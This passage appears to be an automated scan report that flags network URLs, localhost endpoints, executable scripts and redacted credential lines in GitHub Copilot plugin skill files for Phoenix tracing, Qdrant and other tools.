    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 21
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 22
    - [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 23
    - [Python Client API](https://arize.com/docs/phoenix)
  • Network accessline 24
    - [TypeScript API](https://arize-ai.github.io/phoenix/)

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/SKILL.md

  • Network accessline 134
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 135
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 136
    - [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 137
    - [Python Client Package](https://arize.com/docs/phoenix)
  • Network accessline 138
    - [TypeScript Packages](https://arize-ai.github.io/phoenix/)

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/annotations-python.md

  • Network accessline 8
    from phoenix.client import Client client = Client()  # Default: http://localhost:6006
  • Network accessline 9
    client = Client()  # Default: http://localhost:6006
  • Network accessline 127
    - [Python Client API](https://arize.com/docs/phoenix)

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/annotations-typescript.md

  • Network accessline 8
    import { createClient } from "@arizeai/phoenix-client"; const client = createClient();  // Default: http://localhost:6006
  • Network accessline 9
    const client = createClient();  // Default: http://localhost:6006
  • Network accessline 173
    - [TypeScript Client API](https://arize-ai.github.io/phoenix/)

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-python.md

  • Network accessline 47
    @tracer.tool def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 48
    def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")     return response.json()["weather"]
  • Network accessline 49
    response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 180
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto
  • Network accessline 182
    - **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-typescript.md

  • Network accessline 53
    // TOOL - function calls const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 54
    const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),   { name: "get-weather" }
  • Network accessline 55
    async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 170
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
  • Network accessline 171
    - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/projects-python.md

  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/sessions-python.md

  • Network accessline 103
    - **TypeScript sessions:** `sessions-typescript.md` - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
  • Network accessline 104
    - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/sessions-typescript.md

  • Network accessline 23
    register({   projectName: "your-app",   url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 25
    url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 95
    # Get all traces for a session npx @arizeai/phoenix-cli traces \   --endpoint http://localhost:6006 \
  • Network accessline 96
    npx @arizeai/phoenix-cli traces    --endpoint http://localhost:6006
  • Network accessline 97
    --endpoint http://localhost:6006 \

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/setup-python.md

  • Network accessline 19
    **Connects to `http://localhost:6006`, auto-instruments all supported libraries.**
  • Network accessline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"  # Or Cloud URL
  • Network accessline 44
    tracer_provider = register(     project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 45
    project_name="my-app",              # Project name     endpoint="http://localhost:6006",   # Phoenix endpoint     auto_instrument=True,               # Auto-instrument supported libs
  • Network accessline 46
    endpoint="http://localhost:6006",   # Phoenix endpoint
  • Network accessline 89
    **Link:** https://opentelemetry.io/docs/specs/otel/configuration/sdk-environment-variables/
  • Network accessline 93
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 103
    [Credential-related source omitted]
  • Network accessline 130
    - [Python OTEL API Docs](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 131
    - [Python Client API Docs](https://arize.com/docs/phoenix)

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/setup-typescript.md

  • Network accessline 23
    Connects to `http://localhost:6006` by default.
  • Network accessline 30
    register({   projectName: "my-app",   url: "http://localhost:6006",
  • Network accessline 31
    [Credential-related source omitted]
  • Network accessline 32
    url: "http://localhost:6006",
  • Access to secretsline 33
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 42
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"
  • Network accessline 135
    1. Open Phoenix UI: `http://localhost:6006`
  • Access to secretsline 154
    [Credential-related source omitted]
  • Network accessline 168
    - **Auto-instrumentation:** `instrumentation-auto-typescript.md` - **Manual instrumentation:** `instrumentation-manual-typescript.md` - **API docs:** https://arize-ai.github.io/phoenix/
  • Network accessline 170
    - **API docs:** https://arize-ai.github.io/phoenix/

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/span-llm.md

  • Network accessline 78
    - **Instrumentation:** `instrumentation-auto-python.md`, `instrumentation-manual-python.md` - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md
  • Network accessline 79
    - **Full spec:** https://github.com/Arize-ai/openinference/blob/main/spec/semantic_conventions.md

harness/github-copilot/plugins/phoenix/skills/phoenix-tracing/references/span-retriever.md

  • Network accessline 53
    "author": "Jane Doe",   "created_at": "2024-01-15",   "url": "https://example.com/doc",
  • Network accessline 54
    "created_at": "2024-01-15",   "url": "https://example.com/doc",   "chunk_id": "chunk_123"
  • Network accessline 55
    "url": "https://example.com/doc",

harness/github-copilot/plugins/php-mcp-development/skills/php-mcp-server-generator/references/templates-and-development.md

  • Network accessline 330
    <?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 331
    <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

harness/github-copilot/plugins/platform-vendor-expertise/skills/shopify-review-triage/SKILL.md

  • Network accessline 7
    author: "Shopify App Review Brief - independent, not affiliated with or endorsed by Shopify Inc."   compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system pack
  • Network accessline 8
    compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format."   source: "https://alf
  • Network accessline 9
    source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html"
  • Network accessline 156
    - [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)

harness/github-copilot/plugins/power-apps-code-apps/skills/power-apps-code-app-scaffold/SKILL.md

  • Network accessline 179
    - Official samples: https://github.com/microsoft/PowerAppsCodeApps, see current docs before coding.

harness/github-copilot/plugins/power-platform-architect/skills/power-platform-architect/SKILL.md

  • Network accessline 33
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 34
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 35
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 61
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 63
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 121
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 122
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 123
    - `https://mermaid.ai/live/edit`
  • Network accessline 159
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 161
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 175
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 176
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/github-copilot/plugins/project-documenter/skills/drawio/scripts/drawio-to-png.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 311
    const VIEWER_URL = "https://viewer.diagrams.net/js/viewer-static.min.js";

harness/github-copilot/plugins/project-documenter/skills/drawio/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/project-documenter/skills/md-to-docx/scripts/md-to-docx.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/project-documenter/skills/md-to-docx/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/project-planning/skills/create-implementation-plan/SKILL.md

  • Network accessline 57
    The frontmatter `status` must be exactly one of `Completed`, `In progress`, `Planned`, `Deprecated`, or `On Hold`. The introduction must show a shields badge using `https://img.shields.io/badge/status-<status>-<status_color>`, where status 
  • Network accessline 74
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)

harness/github-copilot/plugins/project-planning/skills/update-implementation-plan/SKILL.md

  • Network accessline 81
    ![Status: <status>](https://img.shields.io/badge/status-<status>-<status_color>)
  • Network accessline 197
    - [Shields.io status badge](https://img.shields.io/badge/status-<status>-<status_color>)

harness/github-copilot/plugins/python-mcp-development/skills/python-mcp-server-generator/SKILL.md

  • Network accessline 51
    For HTTP testing, connect clients to `http://localhost:PORT/mcp`.
  • Network accessline 96
    | Run MCP Inspector | `uv run mcp dev server.py` | | Install to Claude Desktop | `uv run mcp install server.py` | | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |
  • Network accessline 98
    | Run HTTP server | `python server.py`, then connect to `http://localhost:PORT/mcp` |

harness/github-copilot/plugins/qdrant-development/skills/qdrant-clients-sdk/SKILL.md

  • Broad permissionsline 1
    Bash
  • Network accessline 22
    | Language | Official SDK | Install command or source | | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 23
    | --- | --- | --- | | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` | | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com
  • Network accessline 24
    | Python | `qdrant-client` | `pip install qdrant-client[fastembed]` from `https://github.com/qdrant/qdrant-client` |
  • Network accessline 25
    | JavaScript / TypeScript | `qdrant-js` | `npm install @qdrant/js-client-rest` from `https://github.com/qdrant/qdrant-js` |
  • Network accessline 26
    | Rust | `rust-client` | `cargo add qdrant-client` from `https://github.com/qdrant/rust-client` |
  • Network accessline 27
    | Go | `go-client` | `go get github.com/qdrant/go-client` from `https://github.com/qdrant/go-client` |
  • Network accessline 28
    | .NET | `qdrant-dotnet` | `dotnet add package Qdrant.Client` from `https://github.com/qdrant/qdrant-dotnet` |
  • Network accessline 29
    | Java | `java-client` | Maven Central artifact `io.qdrant/client` at `https://central.sonatype.com/artifact/io.qdrant/client` and source `https://github.com/qdrant/java-client` |
  • Network accessline 33
    | Surface | Use when | Reference | | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https
  • Network accessline 34
    | --- | --- | --- | | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/ma
  • Network accessline 35
    | REST API | You are new to Qdrant, prototyping, debugging with HTTP, or need OpenAPI-generated clients. | OpenAPI Reference `https://api.qdrant.tech/api-reference`; OpenAPI JSON `https://github.com/qdrant/qdrant/blob/master/docs/redoc/mast
  • Network accessline 36
    | gRPC API | You need lower overhead, streaming-friendly integrations, or native generated protobuf clients. | gRPC protobuf definitions `https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto` |
  • Network accessline 37
    | Curated snippets | You need operation-level examples before writing code. | `https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points` |
  • Network accessline 41
    1. Choose one supported snippet language: `python`, `typescript`, `rust`, `java`, `go`, or `csharp`. 2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippet
  • Network accessline 42
    2. Convert the user's intent into a concise query such as `how to upload points`, `hybrid search`, or `filter by payload`. 3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query
  • Network accessline 43
    3. Fetch snippets with `curl -X GET "https://snippets.qdrant.tech/search?language=<language>&query=<url-encoded-query>"`.
  • Network accessline 58
    | Reliability flags | `parallel=4`, `max_retries=3` | Mention when preserving robust indexing behavior. | | Idempotency | Re-uploading and re-uploading the same `id` overwrites existing points. | If ids are omitted, Qdrant auto-generates UU
  • Network accessline 60
    | Documentation source | `https://qdrant.tech/documentation/manage-data/points/` | Cite when discussing point management. |
  • Network accessline 89
    - [Qdrant Python client](https://github.com/qdrant/qdrant-client)
  • Network accessline 90
    - [Qdrant JavaScript/TypeScript client](https://github.com/qdrant/qdrant-js)
  • Network accessline 91
    - [Qdrant Rust client](https://github.com/qdrant/rust-client)
  • Network accessline 92
    - [Qdrant Go client](https://github.com/qdrant/go-client)
  • Network accessline 93
    - [Qdrant .NET client](https://github.com/qdrant/qdrant-dotnet)
  • Network accessline 94
    - [Qdrant Java client](https://github.com/qdrant/java-client)
  • Network accessline 95
    - [Qdrant Java Maven Central artifact](https://central.sonatype.com/artifact/io.qdrant/client)
  • Network accessline 96
    - [Qdrant REST OpenAPI Reference](https://api.qdrant.tech/api-reference)
  • Network accessline 97
    - [Qdrant OpenAPI JSON](https://github.com/qdrant/qdrant/blob/master/docs/redoc/master/openapi.json)
  • Network accessline 98
    - [Qdrant gRPC protobuf definitions](https://github.com/qdrant/qdrant/tree/master/lib/api/src/grpc/proto)
  • Network accessline 99
    - [Qdrant snippet search example](https://snippets.qdrant.tech/search?language=python&query=how+to+upload+points)
  • Network accessline 100
    - [Qdrant point management](https://qdrant.tech/documentation/manage-data/points/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-deployment-options/SKILL.md

  • Network accessline 97
    - [Qdrant local mode quickstart](https://qdrant.tech/documentation/quickstart/) - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 98
    - [Qdrant Docker quick start](https://qdrant.tech/documentation/quickstart/?s=download-and-run)
  • Network accessline 99
    - [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/)
  • Network accessline 100
    - [Qdrant Cloud](https://qdrant.tech/documentation/cloud-quickstart/)
  • Network accessline 101
    - [Hybrid Cloud](https://qdrant.tech/documentation/hybrid-cloud/)
  • Network accessline 102
    - [Qdrant EDGE](https://qdrant.tech/documentation/edge/edge-quickstart/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-model-migration/SKILL.md

  • Network accessline 124
    - [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases)
  • Network accessline 125
    - [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection)
  • Network accessline 126
    - [Collection with multiple vectors](https://qdrant.tech/documentation/manage-data/collections/?s=collection-with-multiple-vectors)
  • Network accessline 127
    - [Update vectors](https://qdrant.tech/documentation/manage-data/points/?s=update-vectors)
  • Network accessline 128
    - [Update mode](https://qdrant.tech/documentation/manage-data/points/?s=update-mode)
  • Network accessline 129
    - [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 130
    - [Bulk upload](https://qdrant.tech/documentation/tutorials-develop/bulk-upload/)
  • Network accessline 131
    - [Inference docs](https://qdrant.tech/documentation/inference/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/SKILL.md

  • Network accessline 29
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 29
    Understand available metrics through the Qdrant monitoring documentation at https://qdrant.tech/documentation/operations/monitoring/.
  • Network accessline 94
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 94
    - [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/debugging/SKILL.md

  • Network accessline 15
    - Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 16
    - Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task 
  • Network accessline 17
    - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti
  • Network accessline 18
    - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui)
  • Network accessline 27
    - Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R
  • Network accessline 28
    - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/)
  • Network accessline 29
    - If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect
  • Network accessline 30
    - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra
  • Network accessline 31
    - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/)
  • Network accessline 42
    - Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi
  • Network accessline 44
    - Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-monitoring/setup/SKILL.md

  • Network accessline 15
    - Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/)
  • Network accessline 16
    - Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep
  • Network accessline 18
    - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring)
  • Network accessline 27
    - Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/)
  • Network accessline 28
    - Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard)
  • Network accessline 35
    - Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints)
  • Network accessline 42
    - Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/)
  • Network accessline 51
    - Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 53
    - Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te

harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md

  • Network accessline 10
    - Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer)
  • Network accessline 20
    - Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points)
  • Network accessline 25
    - Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding)
  • Network accessline 26
    - Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 30
    - Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters)
  • Network accessline 35
    See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/
  • Network accessline 42
    - Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring)
  • Network accessline 52
    - Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index)
  • Network accessline 53
    - Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw)
  • Network accessline 54
    - Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/)
  • Network accessline 55
    - Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/)
  • Network accessline 62
    See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details.
  • Network accessline 71
    Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields)
  • Network accessline 73
    Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md

  • Network accessline 18
    - Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/).
  • Network accessline 27
    - For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/).
  • Network accessline 29
    For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage).
  • Network accessline 42
    - Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl
  • Network accessline 44
    - For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled.
  • Network accessline 52
    - Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 54
    - Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty
  • Network accessline 56
    - Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re
  • Network accessline 58
    - For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance)
  • Network accessline 60
    - For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art
  • Network accessline 62
    - For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https:
  • Network accessline 64
    - Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk
  • Network accessline 65
    - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
  • Network accessline 66
    - Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md

  • Network accessline 28
    - Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 29
    - Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 30
    - Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models)
  • Network accessline 31
    - Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization)
  • Network accessline 32
    - Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/)
  • Network accessline 39
    - Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput)
  • Network accessline 40
    - Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api)
  • Network accessline 41
    - Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization)
  • Network accessline 42
    - Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication)
  • Network accessline 49
    - Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
  • Network accessline 50
    - Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index)
  • Network accessline 51
    - Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
  • Network accessline 68
    Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/minimize-latency/SKILL.md

  • Network accessline 14
    - Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency)
  • Network accessline 15
    - Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe,
  • Network accessline 16
    - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters)
  • Network accessline 23
    - Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 24
    - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
  • Network accessline 25
    - Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md

  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
  • Network accessline 34
    - Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)

harness/github-copilot/plugins/qdrant-development/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md

  • Network accessline 15
    Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist
  • Network accessline 31
